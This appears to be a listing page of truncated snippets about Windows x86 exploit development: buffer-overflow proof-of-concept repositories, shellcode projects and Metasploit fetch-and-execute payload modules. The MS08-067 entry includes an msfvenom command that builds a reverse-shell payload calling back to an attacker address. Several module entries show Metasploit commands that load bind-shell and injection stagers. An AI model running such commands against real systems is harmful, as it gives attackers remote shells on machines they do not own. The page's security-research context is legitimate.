windows-x86-shellcode-poc

Windows x86 Buffer Overflow PoC for Beginners 이것은 32비트 Windows용 스택 기반 버퍼 오버플로우 익스플로잇에 대한 간단하고 독립적인 튜토리얼입니다. 외부 가이드가 필요하지 않습니다—필요한 모든 것이 여기에 있습니다. 이 저장소는 무엇인가요? vulnerable.c: 안전하지 않은 gets 함수를 사용하는 간단한 프로그램. messageBox.asm: 오버플로우 후 실행될 작은 어셈블리 페이로드. exploit.c: 오버플로우가 어떻게 트리거될 수 있는지 보여주는 예제. 이 프로젝트는...

MS08-067

MS08-067 | CVE-2008-4250 参考: https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN シェルコードの生成 シェルコードを生成するために msfvenom を使用します。 root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443 EXITFUNC=thread -b...

CVE-2025-5548-FreeFloat-FTP-Buffer-Overflow

CVE-2025-5548 — FreeFloat FTP Server 1.0 におけるバッファオーバーフロー 脆弱性の分析・悪用ラボ · Exploit Development · Windows x86 このリポジトリについて このリポジトリでは、Windows 向け FreeFloat FTP Server 1.0 に存在する スタックベースのバッファオーバーフロー である脆弱性 CVE-2025-5548 の分析・悪用プロセスを完全に文書化しています。 目的は脆弱性を悪用することだけではなく、分析ラボをゼロから構築する方法...

edb-40564-mingw-fix

ms11-046-mingw CVE-2011-1249 / MS11-046 — Windows x86向けAFD.sys権限昇格エクスプロイト。 オリジナルのエクスプロイトはTomislav Paskalev氏によるものです EDB-40564。このフォークはMinGWのクロスコンパイルエラーを修正し、argv1によるカスタムコマンド実行を追加します。 オリジナルからの変更点 | 変更| 理由 ---|---|--- 1| FARPROC ZwQuerySystemInformation → 型付き関数ポインタ pZwQuerySystemInformation|...

win-exec-calc-shellcode

win-exec-calc-shellcode calc.exe を実行する小さな NUL フリーのシェルコードです。 x86 および x64 版の Windows 5.0〜6.3 2000、XP、2003、2008、7、8、8.1 の全サービスパックで動作します。 サイズ build 306 プラットフォーム | サイズ | スタック整列 | 関数ラッパー | 関数+レジスタ保存 | 関数+スタック | 関数+スタック+レジスタ ---|---|---|---|---|---|--- x86 | 72 | 75 | 77 | 77 | 84 | 84 x64 | 85 | 90 | 9...

easy-file-share-7.2-exploit-CVE-2018-9059

easy-file-share-7.2-exploit-CVE-2018-9059 Easy File Sharing Web Server 7.2 - 'UserID' を用いた自作 'DEP' バイパス版（私のバージョン） Win 7 Ultimate x86 でテスト済み...

FTP Fetch, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x86)

Fetch and execute an x86 payload from an FTP server. Custom shellcode stage. Listen for a connection with UUID Support Windows x86 Module Options...

FTP Fetch, Windows shellcode stage, Windows x86 Bind Named Pipe Stager

Fetch and execute an x86 payload from an FTP server. Custom shellcode stage. Listen for a pipe connection Windows x86 Module Options This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule include...

FTP Fetch, Bind IPv6 TCP Stager (Windows x86)

Fetch and execute an x86 payload from an FTP server. Listen for an IPv6 connection Windows x86 Module Options This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule include...

FTP Fetch, Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)

Fetch and execute an x86 payload from an FTP server. Spawn a piped command shell staged. Listen for a connection with UUID Support Windows x86 Module Options This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module...

FTP Fetch, Windows x86 Pingback, Reverse TCP Inline

Fetch and execute an x86 payload from an FTP server. Connect back to attacker and report UUID Windows x86 Module Options This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule include...

FTP Fetch, Windows x86 Reverse Named Pipe (SMB) Stager

Fetch and execute an x86 payload from an FTP server. Connect back to the attacker via a named pipe pivot Module Options This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule include...

FTP Fetch, Bind TCP Stager (Windows x86)

Fetch and execute an x86 payload from an FTP server. Listen for a connection Windows x86 Module Options This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule include Msf::Payload::Adapter::Fetch::FTP...

FTP Fetch, Bind IPv6 TCP Stager (Windows x86)

Fetch and execute an x86 payload from an FTP server. Listen for an IPv6 connection Windows x86 Module Options This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule include...

FTP Fetch, Bind TCP Stager with UUID Support (Windows x86)

Fetch and execute an x86 payload from an FTP server. Listen for a connection with UUID Support Windows x86 Module Options...

Symlink Attack

Overview Affected versions of this package are vulnerable to Symlink Attack via improper link resolution before file access. An attacker can modify local files by exploiting symbolic links to redirect file operations to unintended locations. Remediation Upgrade Microsoft.NetCore.App.Runtime.win-x...

HTTPS Fetch, Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)

Fetch and execute an x86 payload from an HTTPS server. Spawn a piped command shell staged. Listen for a connection with UUID Support Windows x86 Module Options msf use payload/cmd/windows/https/x86/shell/bindtcpuuid msf payloadbindtcpuuid show actions ...actions... msf payloadbindtcpuuid set ACTI...

HTTPS Fetch, Bind TCP Stager with UUID Support (Windows x86)

Fetch and execute an x86 payload from an HTTPS server. Listen for a connection with UUID Support Windows x86 Module Options msf use payload/cmd/windows/https/x86/peinject/bindtcpuuid msf payloadbindtcpuuid show actions ...actions... msf payloadbindtcpuuid set ACTION msf payloadbindtcpuuid show...

HTTPS Fetch, Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)

Fetch and execute an x86 payload from an HTTPS server. Spawn a piped command shell staged. Listen for an IPv6 connection with UUID Support Windows x86 Module Options msf use payload/cmd/windows/https/x86/shell/bindipv6tcpuuid msf payloadbindipv6tcpuuid show actions ...actions... msf...

HTTPS Fetch, Bind TCP Stager with UUID Support (Windows x86)

Fetch and execute an x86 payload from an HTTPS server. Listen for a connection with UUID Support Windows x86 Module Options msf use payload/cmd/windows/https/x86/vncinject/bindtcpuuid msf payloadbindtcpuuid show actions ...actions... msf payloadbindtcpuuid set ACTION msf payloadbindtcpuuid show...